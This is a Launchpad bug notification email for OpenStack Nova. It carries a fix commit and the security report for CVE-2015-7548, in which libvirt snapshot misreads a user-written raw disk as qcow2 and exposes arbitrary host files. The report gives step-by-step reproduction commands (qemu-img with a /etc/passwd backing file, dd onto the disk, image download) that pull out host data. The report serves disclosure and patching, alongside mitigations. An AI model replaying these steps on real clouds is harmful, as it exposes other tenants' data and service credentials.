Reviewed: https://review.openstack.org/264814
Committed:
https://git.openstack.org/cgit/openstack/nova/commit/?id=915fdbbfb82272b87cd80210943372b09351cf88
Submitter: Jenkins
Branch: master
commit 915fdbbfb82272b87cd80210943372b09351cf88
Author: Matthew Booth <mbo...@redhat.com>
Date: Fri Dec 11 13:40:54 2015 +0000
Fix backing file detection in libvirt live snapshot
When doing a live snapshot, the libvirt driver creates an intermediate
qcow2 file with the same backing file as the original disk. However,
it calls qemu-img info without specifying the input format explicitly.
An authenticated user can write data to a raw disk which will cause
this code to misinterpret the disk as a qcow2 file with a
user-specified backing file on the host, and return an arbitrary host
file as the backing file.
This bug does not appear to result in a data leak in this case, but
this is hard to verify. It certainly results in corrupt output.
Closes-Bug: #1524274
Change-Id: I11485f077d28f4e97529a691e55e3e3c0bea8872
** Changed in: nova
Status: In Progress => Fix Released
--
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to OpenStack Compute (nova).
https://bugs.launchpad.net/bugs/1524274
Title:
[OSSA 2016-001] Unprivileged api user can access host data using
instance snapshot (CVE-2015-7548)
Status in OpenStack Compute (nova):
Fix Released
Status in OpenStack Security Advisory:
Fix Released
Bug description:
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed (private)
security vulnerabilities before their coordinated publication by the
OpenStack Vulnerability Management Team in the form of an official
OpenStack Security Advisory. This includes discussion of the bug or
associated fixes in public forums such as mailing lists, code review
systems and bug trackers. Please also avoid private disclosure to
other individuals not already approved for access to this information,
and provide this same reminder to those who are made aware of the
issue prior to publication. All discussion should remain confined to
this private bug report, and any proposed fixes should be added to the
bug as attachments.
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The
impact is that on an affected system, an unprivileged api user can
retrieve any file on the host readable by the nova user. This includes
guest data of other instances on the same host, and credentials used
by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks
which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume
which is later erroneously detected as qcow2. This means that the
vulnerability is only present on systems using the libvirt driver
which have defined use_cow_images=False in nova.conf. This is not the
default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from an
instance disk and writing to a temporary directory created by nova for
storing snapshots before transferring them to glance. As nova directly
creates this directory and its contents, the 'qemu-img convert'
process does not need to run privileged. This means that the exposure
is limited to files directly readable by the nova user.
Unfortunately, as is clear from the context this includes all instance
data which, despite being owned by the qemu user, is world readable.
Additionally, because the qemu-img process is executed by nova
directly, it does not benefit from any confinement by libvirt.
Specifically, SELinux is not likely to be a defence on a typical
deployment.
I have tested this exploit on a Fedora 23 system running devstack as
of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT
section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host
locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured
use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able
to access its data.
To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1524274/+subscriptions
--
Mailing list: https://launchpad.net/~yahoo-eng-team
Post to : yahoo-eng-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~yahoo-eng-team
More help : https://help.launchpad.net/ListHelp
